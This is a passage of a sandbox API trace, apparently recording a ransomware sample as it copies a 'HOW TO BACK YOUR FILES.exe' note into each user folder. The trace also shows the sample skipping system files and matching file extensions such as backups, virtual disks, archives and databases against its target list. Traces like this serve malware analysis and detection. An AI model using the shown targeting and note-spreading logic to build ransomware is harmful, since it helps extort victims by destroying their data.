[0049.431] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0049.431] lstrlenW (lpString="Documents") returned 9 [0049.431] lstrcpyW (in: lpString1=0x241e884, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0049.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae60 [0049.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x516688 [0049.431] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0049.431] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0049.432] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.432] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1 [0049.432] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1 [0049.432] lstrlenW (lpString="Downloads") returned 9 [0049.432] lstrcpyW (in: lpString1=0x241e884, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0049.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae78 [0049.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x5166e0 [0049.432] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0049.432] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0049.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.433] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce37aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0049.433] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0049.433] lstrlenW (lpString="Favorites") returned 9 [0049.433] lstrcpyW (in: lpString1=0x241e884, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0049.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae90 [0049.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x516738 [0049.433] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0049.433] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0049.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.434] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc35b640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.434] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.434] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce37aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2=".") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="..") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1 [0049.434] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1 [0049.434] lstrlenW (lpString="Links") returned 5 [0049.434] lstrcpyW (in: lpString1=0x241e884, lpString2="Links" | out: lpString1="Links") returned="Links" [0049.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aea8 [0049.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x5174d8 [0049.434] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0049.434] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0049.434] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.435] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2=".") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="..") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="windows") returned -1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="bootmgr") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="temp") returned -1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="pagefile.sys") returned -1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="boot") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="ids.txt") returned 1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="ntuser.dat") returned -1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="perflogs") returned -1 [0049.435] lstrcmpiW (lpString1="Local Settings", lpString2="MSBuild") returned -1 [0049.435] lstrlenW (lpString="Local Settings") returned 14 [0049.435] lstrcpyW (in: lpString1=0x241e884, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0049.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aec0 [0049.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x5241c0 [0049.435] lstrcatW (in: lpString1="Local Settings", lpString2="\\" | out: lpString1="Local Settings\\") returned="Local Settings\\" [0049.435] lstrcatW (in: lpString1="Local Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local Settings\\HOW TO BACK YOUR FILES.exe") returned="Local Settings\\HOW TO BACK YOUR FILES.exe" [0049.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2=".") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="..") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1 [0049.436] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1 [0049.436] lstrlenW (lpString="Music") returned 5 [0049.436] lstrcpyW (in: lpString1=0x241e884, lpString2="Music" | out: lpString1="Music") returned="Music" [0049.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aed8 [0049.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x5175c8 [0049.436] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0049.436] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0049.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.437] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2=".") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="..") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="windows") returned -1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="bootmgr") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="temp") returned -1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="pagefile.sys") returned -1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="boot") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="ids.txt") returned 1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="ntuser.dat") returned -1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="perflogs") returned -1 [0049.437] lstrcmpiW (lpString1="My Documents", lpString2="MSBuild") returned 1 [0049.437] lstrlenW (lpString="My Documents") returned 12 [0049.437] lstrcpyW (in: lpString1=0x241e884, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0049.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aef0 [0049.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52fbc0 [0049.437] lstrcatW (in: lpString1="My Documents", lpString2="\\" | out: lpString1="My Documents\\") returned="My Documents\\" [0049.437] lstrcatW (in: lpString1="My Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Documents\\HOW TO BACK YOUR FILES.exe") returned="My Documents\\HOW TO BACK YOUR FILES.exe" [0049.437] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.438] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2=".") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="..") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="windows") returned -1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="bootmgr") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="temp") returned -1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="pagefile.sys") returned -1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="boot") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="ids.txt") returned 1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="ntuser.dat") returned -1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="perflogs") returned -1 [0049.438] lstrcmpiW (lpString1="NetHood", lpString2="MSBuild") returned 1 [0049.438] lstrlenW (lpString="NetHood") returned 7 [0049.438] lstrcpyW (in: lpString1=0x241e884, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0049.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af08 [0049.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x516790 [0049.438] lstrcatW (in: lpString1="NetHood", lpString2="\\" | out: lpString1="NetHood\\") returned="NetHood\\" [0049.438] lstrcatW (in: lpString1="NetHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetHood\\HOW TO BACK YOUR FILES.exe") returned="NetHood\\HOW TO BACK YOUR FILES.exe" [0049.438] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.439] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="windows") returned -1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="bootmgr") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="temp") returned -1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="pagefile.sys") returned -1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="boot") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ids.txt") returned 1 [0049.439] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0 [0049.439] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="windows") returned -1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="bootmgr") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="temp") returned -1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="pagefile.sys") returned -1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="boot") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ids.txt") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ntuser.dat") returned 1 [0049.439] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="perflogs") returned -1 [0049.440] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="MSBuild") returned 1 [0049.440] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0049.440] lstrcpyW (in: lpString1=0x241e884, lpString2="ntuser.dat.LOG1" | out: lpString1="ntuser.dat.LOG1") returned="ntuser.dat.LOG1" [0049.440] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0049.440] lstrlenW (lpString="Athena865") returned 9 [0049.440] lstrcmpiW (lpString1=".dat.LOG1", lpString2="Athena865") returned -1 [0049.440] lstrlenW (lpString=".dll") returned 4 [0049.440] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".dll") returned 1 [0049.440] lstrlenW (lpString=".lnk") returned 4 [0049.440] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".lnk") returned 1 [0049.440] lstrlenW (lpString=".ini") returned 4 [0049.440] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".ini") returned 1 [0049.440] lstrlenW (lpString=".sys") returned 4 [0049.440] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".sys") returned 1 [0049.440] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0049.440] lstrlenW (lpString="bak") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1 [0049.440] lstrlenW (lpString="ba_") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1 [0049.440] lstrlenW (lpString="dbb") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1 [0049.440] lstrlenW (lpString="vmdk") returned 4 [0049.440] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1 [0049.440] lstrlenW (lpString="rar") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1 [0049.440] lstrlenW (lpString="zip") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1 [0049.440] lstrlenW (lpString="tgz") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1 [0049.440] lstrlenW (lpString="vbox") returned 4 [0049.440] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1 [0049.440] lstrlenW (lpString="vdi") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1 [0049.440] lstrlenW (lpString="vhd") returned 3 [0049.440] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1 [0049.440] lstrlenW (lpString="vhdx") returned 4 [0049.441] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1 [0049.441] lstrlenW (lpString="avhd") returned 4 [0049.441] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1 [0049.441] lstrlenW (lpString="db") returned 2 [0049.441] lstrcmpiW (lpString1="G1", lpString2="db") returned 1 [0049.441] lstrlenW (lpString="db2") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1 [0049.441] lstrlenW (lpString="db3") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1 [0049.441] lstrlenW (lpString="dbf") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1 [0049.441] lstrlenW (lpString="mdf") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1 [0049.441] lstrlenW (lpString="mdb") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1 [0049.441] lstrlenW (lpString="sql") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1 [0049.441] lstrlenW (lpString="sqlite") returned 6 [0049.441] lstrcmpiW (lpString1="t.LOG1", lpString2="sqlite") returned 1 [0049.441] lstrlenW 